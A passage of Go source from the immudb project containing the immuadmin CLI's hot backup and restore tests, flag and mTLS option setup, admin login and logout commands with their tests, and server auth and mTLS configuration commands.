cmd.Execute() require.NoError(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Restored transactions from 12 to 14") // duplicate restore, all txns already in DB, nothing restored cmd.SetArgs([]string{"hot-restore", "test", "-i", "testdata/12-14.backup", "--append", "--force-replica"}) err = cmd.Execute() require.NoError(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Target database is up-to-date, nothing restored") // txn 14 in file doesn't match the txn 14 in database, should fail cmd.SetArgs([]string{"hot-restore", "test", "-i", "testdata/14-15_modified.backup", "--append", "--force-replica"}) err = cmd.Execute() require.Error(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Error: checksums for tx 14 in backup file and database differ - cannot append data to the database") // verify backup file cmd.SetArgs([]string{"hot-restore", "--verify-only", "-i", "testdata/1-10.backup"}) err = cmd.Execute() require.NoError(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Backup file contains transactions from 1 to 10") } func TestBackup(t *testing.T) { fmt.Println("Backup") cl := commandlineHotBck{} cmd, _ := cl.NewCmd() cmdl := commandlineHotBck{commandline: *getCmdline(t)} cmdl.hotBackup(cmd) cmdl.hotRestore(cmd) output := bytes.NewBufferString("") cmd.SetOut(output) cmd.SetErr(output) // disable connects/disconnects, cmd already contains connected immudb client cmds := cmd.Commands() cmds[0].PersistentPreRunE = nil cmds[0].PersistentPostRun = nil cmds[1].PersistentPreRunE = nil cmds[1].PersistentPostRun = nil tmpDir := t.TempDir() backupFile_full := filepath.Join(tmpDir, "full.backup") backupFile_1_5 := filepath.Join(tmpDir, "1-5.backup") // restore (1-10) cmd.SetArgs([]string{"hot-restore", "test1", "-i", "testdata/1-10.backup"}) err := cmd.Execute() require.NoError(t, err) // full backup (1-10) cmd.SetArgs([]string{"hot-backup", "test1", "-o", backupFile_full}) err = cmd.Execute() require.NoError(t, err) out, err := ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Backing up transactions from 1 to 10") // partial backup (5-10) cmd.SetArgs([]string{"hot-backup", "test1", "--start-tx", "5", "-o", backupFile_1_5}) err = cmd.Execute() require.NoError(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Backing up transactions from 5 to 10") // restore (11) cmd.SetArgs([]string{"hot-restore", "test1", "--append", "-i", "testdata/10-11.backup", "--force-replica"}) err = cmd.Execute() require.NoError(t, err) // append txn 11 to file - require --append flag, should fail cmd.SetArgs([]string{"hot-backup", "test1", "--start-tx", "1", "-o", backupFile_full}) err = cmd.Execute() require.Error(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Error: file already exists, use --append option to append new data to file") // append txn 11 to file with --append flag cmd.SetArgs([]string{"hot-backup", "test1", "--append", "-o", backupFile_full}) err = cmd.Execute() require.NoError(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Backing up transaction 11") // restore (12-14) cmd.SetArgs([]string{"hot-restore", "test1", "--append", "--force", "-i", "testdata/12-14.backup"}) err = cmd.Execute() require.NoError(t, err) // append txn 12-14 to file cmd.SetArgs([]string{"hot-backup", "test1", "--append", "-o", backupFile_full}) err = cmd.Execute() require.NoError(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Backing up transactions from 12 to 14") // full restore (1-13) to second DB cmd.SetArgs([]string{"hot-restore", "test2", "--append", "-i", "testdata/1-13.backup"}) err = cmd.Execute() require.NoError(t, err) // add modified txn 14 to second DB cmd.SetArgs([]string{"hot-restore", "test2", "--append", "-i", "testdata/14-15_modified.backup"}) err = cmd.Execute() require.NoError(t, err) // append txn 15 to file from second DB, should fail because txn 14 in DB and file differ cmd.SetArgs([]string{"hot-backup", "test2", "--append", "-o", backupFile_full}) err = cmd.Execute() require.Error(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Error: checksums for transaction 14 in backup file and database differ - probably file was created from different database") } ================================================ FILE: cmd/immuadmin/command/init.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "fmt" "strings" "github.com/codenotary/immudb/pkg/client" "github.com/spf13/cobra" "github.com/spf13/viper" ) func Options() *client.Options { port := viper.GetInt("immudb-port") address := viper.GetString("immudb-address") tokenFileName := viper.GetString("tokenfile") if !strings.HasSuffix(tokenFileName, client.AdminTokenFileSuffix) { tokenFileName += client.AdminTokenFileSuffix } mtls := viper.GetBool("mtls") certificate := viper.GetString("certificate") servername := viper.GetString("servername") pkey := viper.GetString("pkey") clientcas := viper.GetString("clientcas") options := client.DefaultOptions(). WithPort(port). WithAddress(address). WithAuth(true). WithTokenFileName(tokenFileName). WithMTLs(mtls) if mtls { // todo https://golang.org/src/crypto/x509/root_linux.go options.MTLsOptions = client.DefaultMTLsOptions(). WithServername(servername). WithCertificate(certificate). WithPkey(pkey). WithClientCAs(clientcas) } return options } func (cl *commandline) configureFlags(cmd *cobra.Command) error { cmd.PersistentFlags().IntP("immudb-port", "p", client.DefaultOptions().Port, "immudb port number") cmd.PersistentFlags().StringP("immudb-address", "a", client.DefaultOptions().Address, "immudb host address") cmd.PersistentFlags().String( "tokenfile", client.DefaultOptions().TokenFileName, fmt.Sprintf( "authentication token file (default path is $HOME or binary location; the supplied "+ "value will be automatically suffixed with %s; default filename is %s%s)", client.AdminTokenFileSuffix, client.DefaultOptions().TokenFileName, client.AdminTokenFileSuffix)) cmd.PersistentFlags().StringVar(&cl.config.CfgFn, "config", "", "config file (default path is configs or $HOME; default filename is immuadmin.toml)") cmd.PersistentFlags().BoolP("mtls", "m", client.DefaultOptions().MTLs, "enable mutual tls") cmd.PersistentFlags().String("servername", client.DefaultMTLsOptions().Servername, "used to verify the hostname on the returned certificates") cmd.PersistentFlags().String("certificate", client.DefaultMTLsOptions().Certificate, "server certificate file path") cmd.PersistentFlags().String("pkey", client.DefaultMTLsOptions().Pkey, "server private key path") cmd.PersistentFlags().String("clientcas", client.DefaultMTLsOptions().ClientCAs, "clients certificates list. Aka certificate authority") if err := viper.BindPFlag("immudb-port", cmd.PersistentFlags().Lookup("immudb-port")); err != nil { return err } if err := viper.BindPFlag("immudb-address", cmd.PersistentFlags().Lookup("immudb-address")); err != nil { return err } if err := viper.BindPFlag("tokenfile", cmd.PersistentFlags().Lookup("tokenfile")); err != nil { return err } if err := viper.BindPFlag("mtls", cmd.PersistentFlags().Lookup("mtls")); err != nil { return err } if err := viper.BindPFlag("servername", cmd.PersistentFlags().Lookup("servername")); err != nil { return err } if err := viper.BindPFlag("certificate", cmd.PersistentFlags().Lookup("certificate")); err != nil { return err } if err := viper.BindPFlag("pkey", cmd.PersistentFlags().Lookup("pkey")); err != nil { return err } if err := viper.BindPFlag("clientcas", cmd.PersistentFlags().Lookup("clientcas")); err != nil { return err } viper.SetDefault("immudb-port", client.DefaultOptions().Port) viper.SetDefault("immudb-address", client.DefaultOptions().Address) viper.SetDefault("tokenfile", client.DefaultOptions().TokenFileName+client.AdminTokenFileSuffix) viper.SetDefault("mtls", client.DefaultOptions().MTLs) viper.SetDefault("servername", client.DefaultMTLsOptions().Servername) viper.SetDefault("certificate", client.DefaultMTLsOptions().Certificate) viper.SetDefault("pkey", client.DefaultMTLsOptions().Pkey) viper.SetDefault("clientcas", client.DefaultMTLsOptions().ClientCAs) return nil } ================================================ FILE: cmd/immuadmin/command/init_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "testing" "github.com/codenotary/immudb/pkg/client" "github.com/spf13/viper" "github.com/stretchr/testify/assert" ) func TestOptions(t *testing.T) { opts := Options() assert.IsType(t, &client.Options{}, opts) } func TestOptionsMtls(t *testing.T) { defer viper.Reset() viper.Set("mtls", true) opts := Options() assert.IsType(t, &client.Options{}, opts) } ================================================ FILE: cmd/immuadmin/command/login.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "context" "fmt" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/auth" "github.com/spf13/cobra" ) func (cl *commandline) login(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "login username (you will be prompted for password)", Short: fmt.Sprintf("Login using the specified username and password (admin username is %s)", auth.SysAdminUsername), Aliases: []string{"l"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { ctx := cl.context userStr := args[0] if userStr != auth.SysAdminUsername { err := fmt.Errorf("Permission denied: user %s has no admin rights", userStr) cl.quit(err) return err } user := []byte(userStr) pass, err := cl.passwordReader.Read("Password:") if err != nil { cl.quit(err) return err } responseWarning, err := cl.loginClient(ctx, user, pass) if err != nil { cl.quit(err) return err } c.PrintfColorW(cmd.OutOrStdout(), c.Green, "logged in\n") if string(responseWarning) == auth.WarnDefaultAdminPassword { c.PrintfColorW(cmd.OutOrStdout(), c.Yellow, "SECURITY WARNING: %s\n", responseWarning) changedPassMsg, newPass, err := cl.changeUserPassword(cmd, userStr, pass) if err != nil { cl.quit(err) return err } if _, err := cl.loginClient(ctx, user, newPass); err != nil { cl.quit(err) return err } fmt.Fprintln(cmd.OutOrStdout(), changedPassMsg) } return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) loginClient( ctx context.Context, user []byte, pass []byte, ) (string, error) { response, err := cl.immuClient.Login(ctx, user, pass) if err != nil { return "", err } return string(response.GetWarning()), nil } func (cl *commandline) logout(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "logout", Aliases: []string{"x"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { if err := cl.immuClient.Logout(cl.context); err != nil { cl.quit(err) return err } fmt.Fprintf(cmd.OutOrStdout(), "logged out\n") return nil }, Args: cobra.NoArgs, } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuadmin/command/login_errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin /* import ( "bytes" "context" "errors" "fmt" "io/ioutil" "strings" "testing" "github.com/codenotary/immudb/cmd/helper" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/spf13/cobra" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) func TestLoginLogoutErrors(t *testing.T) { immuClientMock := &clienttest.ImmuClientMock{ GetOptionsF: func() *client.Options { return client.DefaultOptions() }, ConnectF: func(context.Context) (*grpc.ClientConn, error) { return &grpc.ClientConn{}, nil }, DisconnectF: func() error { return nil }, } pwReaderMock := &clienttest.PasswordReaderMock{} hdsMock := clienttest.DefaultHomedirServiceMock() cl := &commandline{ immuClient: immuClientMock, passwordReader: pwReaderMock, ts: tokenservice.NewTokenService().WithHds(hdsMock).WithTokenFileName("tokenFileName"), } rootCmd := &cobra.Command{} // login cl.login(rootCmd) cmd := rootCmd.Commands()[0] cmd.PersistentPreRunE = nil cmd.PersistentPostRunE = nil cmdOutput := bytes.NewBufferString("") cmd.SetOutput(cmdOutput) username := "user1" args := []string{"login", username} rootCmd.SetArgs(args) errPermissionDenied := fmt.Errorf("Permission denied: user %s has no admin rights", username) cl.onError = func(msg interface{}) { require.Equal(t, errPermissionDenied, msg) } require.Equal(t, errPermissionDenied, rootCmd.Execute()) args[1] = auth.SysAdminUsername rootCmd.SetArgs(args) errPwRead := errors.New("password read error") pwReaderMock.ReadF = func(msg string) ([]byte, error) { return nil, errPwRead } cl.onError = func(msg interface{}) { require.Equal(t, errPwRead, msg) } require.Equal(t, errPwRead, rootCmd.Execute()) pass := "$somePass1!" passBytes := []byte(pass) pwReaderMock.ReadF = func(msg string) ([]byte, error) { return passBytes, nil } errLogin := errors.New("login error") immuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return nil, errLogin } cl.onError = func(msg interface{}) { require.Equal(t, errLogin, msg) } require.Equal(t, errLogin, rootCmd.Execute()) immuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return &schema.LoginResponse{}, nil } errWriteTokenFile := errors.New("write token file error") hdsMock.WriteFileToUserHomeDirF = func(content []byte, pathToFile string) error { return errWriteTokenFile } cl.onError = func(msg interface{}) { require.Equal(t, errWriteTokenFile, msg) } require.Equal(t, errWriteTokenFile, rootCmd.Execute()) hdsMock.WriteFileToUserHomeDirF = func(content []byte, pathToFile string) error { return nil } errNewImmuClient := errors.New("new immuclient error") cl.newImmuClient = func(*client.Options) (client.ImmuClient, error) { return nil, errNewImmuClient } cl.onError = func(msg interface{}) { require.Equal(t, errNewImmuClient, msg) } require.Equal(t, errNewImmuClient, rootCmd.Execute()) cl.immuClient = immuClientMock cl.newImmuClient = func(*client.Options) (client.ImmuClient, error) { return immuClientMock, nil } require.NoError(t, rootCmd.Execute()) outputBytes, err := ioutil.ReadAll(cmdOutput) require.NoError(t, err) require.Equal(t, "logged in\n", string(outputBytes)) cmdOutput.Reset() immuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return &schema.LoginResponse{Warning: []byte(auth.WarnDefaultAdminPassword)}, nil } counterPwRead := 0 pwReaderMock.ReadF = func(msg string) ([]byte, error) { counterPwRead++ if counterPwRead == 1 { return passBytes, nil } return nil, errPwRead } errPwRead2 := errors.New("Error Reading Password") cl.onError = func(msg interface{}) { require.Equal(t, errPwRead2, msg) } require.Equal(t, errPwRead2, rootCmd.Execute()) outputBytes, err = ioutil.ReadAll(cmdOutput) require.NoError(t, err) require.Equal( t, fmt.Sprintf("logged in\n%sSECURITY WARNING: %s\n%s", c.Yellow, auth.WarnDefaultAdminPassword, helper.Reset), string(outputBytes)) cmdOutput.Reset() pwReaderMock.ReadF = func(msg string) ([]byte, error) { return passBytes, nil } immuClientMock.ChangePasswordF = func(context.Context, []byte, []byte, []byte) error { return nil } counterLogin := 0 immuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { counterLogin++ if counterLogin == 1 { return &schema.LoginResponse{Warning: []byte(auth.WarnDefaultAdminPassword)}, nil } return nil, errLogin } cl.onError = func(msg interface{}) { require.Equal(t, errLogin, msg) } require.Equal(t, errLogin, rootCmd.Execute()) cmdOutput.Reset() counterLogin = 0 immuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { counterLogin++ if counterLogin == 1 { return &schema.LoginResponse{Warning: []byte(auth.WarnDefaultAdminPassword)}, nil } return &schema.LoginResponse{}, nil } require.NoError(t, cmd.Execute()) outputBytes, err = ioutil.ReadAll(cmdOutput) require.NoError(t, err) require.Equal( t, fmt.Sprintf( "logged in\n%sSECURITY WARNING: %s\n%s%s's password has been changed", c.Yellow, auth.WarnDefaultAdminPassword, helper.Reset, args[1]), string(outputBytes)) cmdOutput.Reset() // logout cl.logout(rootCmd) var cmdLogout *cobra.Command for _, ccmd := range rootCmd.Commands() { if strings.Contains(ccmd.Use, "logout") { cmdLogout = ccmd break } } require.NotNil(t, cmdLogout) cmdLogout.PersistentPreRunE = nil cmdLogout.PersistentPostRunE = nil cmdLogout.SetOutput(cmdOutput) rootCmd.SetArgs([]string{"logout"}) errLogout := errors.New("logout error") immuClientMock.LogoutF = func(context.Context) error { return errLogout } cl.onError = func(msg interface{}) { require.Equal(t, errLogout, msg) } require.Equal(t, errLogout, rootCmd.Execute()) immuClientMock.LogoutF = func(context.Context) error { return nil } require.NoError(t, rootCmd.Execute()) outputBytes, err = ioutil.ReadAll(cmdOutput) require.NoError(t, err) require.Equal(t, "logged out\n", string(outputBytes)) cmdOutput.Reset() } */ ================================================ FILE: cmd/immuadmin/command/login_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "bytes" "context" "io/ioutil" "log" "testing" "github.com/codenotary/immudb/cmd/cmdtest" "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/stretchr/testify/require" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/spf13/cobra" "github.com/stretchr/testify/assert" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) var pwReaderCounter = 0 var pwReaderMock = &clienttest.PasswordReaderMock{ ReadF: func(msg string) ([]byte, error) { var pw []byte if pwReaderCounter == 0 { pw = []byte(`immudb`) } else { pw = []byte(`Passw0rd!-`) } pwReaderCounter++ return pw, nil }, } func TestCommandLine_Connect(t *testing.T) { log.Println("TestCommandLine_Connect") options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) err := bs.Start() require.NoError(t, err) defer bs.Stop() opts := Options(). WithDir(t.TempDir()). WithDialOptions([]grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }) cmdl := commandline{ context: context.Background(), options: opts, } err = cmdl.connect(&cobra.Command{}, []string{}) assert.NoError(t, err) } func TestCommandLine_Disconnect(t *testing.T) { log.Println("TestCommandLine_Disconnect") options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() opts := Options(). WithDir(t.TempDir()). WithDialOptions([]grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }) tkf := cmdtest.RandString() cmdl := commandline{ options: opts, immuClient: &scIClientMock{*new(client.ImmuClient)}, passwordReader: pwReaderMock, context: context.Background(), ts: tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf), } _ = cmdl.connect(&cobra.Command{}, []string{}) cmdl.disconnect(&cobra.Command{}, []string{}) err := cmdl.immuClient.Disconnect() assert.Errorf(t, err, "not connected") } type scIClientInnerMock struct { cliop *client.Options client.ImmuClient } func (c scIClientInnerMock) UpdateAuthConfig(ctx context.Context, kind auth.Kind) error { return nil } func (c scIClientInnerMock) UpdateMTLSConfig(ctx context.Context, enabled bool) error { return nil } func (c scIClientInnerMock) Disconnect() error { return nil } func (c scIClientInnerMock) GetOptions() *client.Options { return c.cliop } func (c scIClientInnerMock) Login(ctx context.Context, user []byte, pass []byte) (*schema.LoginResponse, error) { return &schema.LoginResponse{Token: "fake-token"}, nil } func TestCommandLine_LoginLogout(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() cl := commandline{} cmd, _ := cl.NewCmd() cliopt := Options(). WithDir(t.TempDir()). WithDialOptions([]grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }) tkf := cmdtest.RandString() cmdl := commandline{ config: helper.Config{Name: "immuadmin"}, options: cliopt, immuClient: &scIClientInnerMock{cliopt, *new(client.ImmuClient)}, passwordReader: pwReaderMock, context: context.Background(), ts: tokenservice.NewFileTokenService().WithHds(homedir.NewHomedirService()).WithTokenFileName(tkf), } cmdl.login(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"login", "immudb"}) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil logincmd := cmd.Commands()[0] logincmd.PersistentPreRunE = nil cmd.Execute() out, err := ioutil.ReadAll(b) require.NoError(t, err) assert.Contains(t, string(out), "logged in") cmdlo := commandline{ config: helper.Config{Name: "immuadmin"}, options: cliopt, immuClient: &scIClientMock{*new(client.ImmuClient)}, passwordReader: pwReaderMock, context: context.Background(), ts: tokenservice.NewFileTokenService().WithHds(homedir.NewHomedirService()).WithTokenFileName(tkf), } b1 := bytes.NewBufferString("") cl = commandline{} logoutcmd, _ := cl.NewCmd() logoutcmd.SetOut(b1) logoutcmd.SetArgs([]string{"logout"}) cmdlo.logout(logoutcmd) // remove ConfigChain method to avoid override options logoutcmd.PersistentPreRunE = nil logoutcmdin := logoutcmd.Commands()[0] logoutcmdin.PersistentPreRunE = nil logoutcmd.Execute() out1, err1 := ioutil.ReadAll(b1) if err1 != nil { t.Fatal(err1) } assert.Contains(t, string(out1), "logged out") } func TestCommandLine_CheckLoggedIn(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() cl := commandline{} cmd, _ := cl.NewCmd() cl.context = context.Background() cl.passwordReader = pwReaderMock dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cmd.SetArgs([]string{"login", "immudb"}) cmd.Execute() tempDir := t.TempDir() cl.options = Options().WithDir(tempDir) cl.options.DialOptions = dialOptions cl.login(cmd) cmd1 := cobra.Command{} cl1 := new(commandline) cl1.context = context.Background() cl1.passwordReader = pwReaderMock tkf := cmdtest.RandString() cl1.ts = tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf) dialOptions1 := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cl1.options = Options().WithDir(tempDir) cl1.options.DialOptions = dialOptions1 err := cl1.checkLoggedIn(&cmd1, nil) assert.NoError(t, err) } func newHomedirServiceMock() *clienttest.HomedirServiceMock { h := clienttest.DefaultHomedirServiceMock() h.FileExistsInUserHomeDirF = func(pathToFile string) (bool, error) { return true, nil } return h } ================================================ FILE: cmd/immuadmin/command/root.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import "github.com/spf13/cobra" func (cl *commandline) NewCmd() (*cobra.Command, error) { cmd := &cobra.Command{ Use: "immuadmin", Short: "CLI admin client for immudb - the lightweight, high-speed immutable database for systems and applications", Long: `CLI admin client for immudb - the lightweight, high-speed immutable database for systems and applications. immudb documentation: https://docs.immudb.io/ Environment variables: IMMUADMIN_IMMUDB_ADDRESS=127.0.0.1 IMMUADMIN_IMMUDB_PORT=3322 IMMUADMIN_MTLS=true IMMUADMIN_SERVERNAME=localhost IMMUADMIN_PKEY=./tools/mtls/4_client/private/localhost.key.pem IMMUADMIN_CERTIFICATE=./tools/mtls/4_client/certs/localhost.cert.pem IMMUADMIN_CLIENTCAS=./tools/mtls/2_intermediate/certs/ca-chain.cert.pem`, SilenceUsage: false, SilenceErrors: false, DisableAutoGenTag: true, PersistentPreRunE: cl.ConfigChain(nil), } if err := cl.configureFlags(cmd); err != nil { return nil, err } return cmd, nil } ================================================ FILE: cmd/immuadmin/command/serverconfig.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "fmt" "strconv" "github.com/codenotary/immudb/pkg/auth" "github.com/spf13/cobra" ) func (cl commandline) serverConfig(cmd *cobra.Command) { authKinds := map[string]auth.Kind{ "none": auth.KindNone, "password": auth.KindPassword, // "cryptosig": auth.KindCryptoSig, } ccmd := &cobra.Command{ Use: "set auth|mtls value", Short: "Update server config items: auth (none|password|cryptosig), mtls (true|false)", PersistentPreRunE: cl.ConfigChain(cl.checkLoggedInAndConnect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { ctx := cl.context configItem := args[0] v := args[1] switch configItem { case "auth": authKind, ok := authKinds[v] if !ok { return fmt.Errorf( "unsupported %s auth mode, only none and password are currently supported", v) } if err := cl.immuClient.UpdateAuthConfig(ctx, authKind); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "Server auth config updated\n") case "mtls": enabled, err := strconv.ParseBool(v) if err != nil { return fmt.Errorf("unsupported value %s, server MTLS can be set to true or false", v) } if err := cl.immuClient.UpdateMTLSConfig(ctx, enabled); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "Server MTLS config updated\n") default: return fmt.Errorf( "unsupported %s config item, supported config items: auth or mtls", configItem) } return nil }, Args: cobra.ExactArgs(2), } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuadmin/command/serverconfig_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "context" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "google.golang.org/grpc" ) /* func TestCommandLine_ServerconfigAuth(t *testing.T) { input, _ := ioutil.ReadFile("../../../test/immudb.toml") err := ioutil.WriteFile("/tmp/immudb.toml", input, 0644) require.NoError(t, err) options := (&server.Options{}).WithAuth(false).WithConfig("/tmp/immudb.toml").WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() defer os.RemoveAll(options.Dir) defer os.Remove(".state-") dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options() cliopt.DialOptions = dialOptions hds := clienttest.DefaultHomedirServiceMock() hds.FileExistsInUserHomeDirF = func(string) (bool, error) { return true, nil } cl := &commandline{ options: cliopt, immuClient: &scIClientMock{*new(client.ImmuClient)}, passwordReader: pwReaderMock, context: context.Background(), ts: tokenservice.NewTokenService().WithHds(hds).WithTokenFileName("tokenFileName"), } cmdso, err := cl.NewCmd() require.NoError(t, err) cl.serverConfig(cmdso) b := bytes.NewBufferString("") cmdso.SetOut(b) cmdso.SetArgs([]string{"set", "auth", "password"}) // remove ConfigChain method to avoid override options cmdso.PersistentPreRunE = nil sccmd := cmdso.Commands()[0] sccmd.PersistentPreRunE = nil cmdso.Execute() out, err := ioutil.ReadAll(b) require.NoError(t, err) assert.Contains(t, string(out), "Server auth config updated") os.RemoveAll("/tmp/immudb.toml") } func TestCommandLine_ServerconfigMtls(t *testing.T) { input, _ := ioutil.ReadFile("../../../test/immudb.toml") err := ioutil.WriteFile("/tmp/immudb.toml", input, 0644) require.NoError(t, err) options := (&server.Options{}).WithAuth(false).WithConfig("/tmp/immudb.toml").WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() defer os.RemoveAll(options.Dir) defer os.Remove(".state-") dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options() cliopt.DialOptions = dialOptions cl := commandline{ options: cliopt, immuClient: &scIClientMock{*new(client.ImmuClient)}, passwordReader: pwReaderMock, context: context.Background(), ts: tokenservice.NewTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName("tokenFileName"), } cmdso, _ := cl.NewCmd() cl.serverConfig(cmdso) b := bytes.NewBufferString("") cmdso.SetOut(b) cmdso.SetArgs([]string{"set", "mtls", "false"}) // remove ConfigChain method to avoid override options cmdso.PersistentPreRunE = nil sccmd := cmdso.Commands()[0] sccmd.PersistentPreRunE = nil 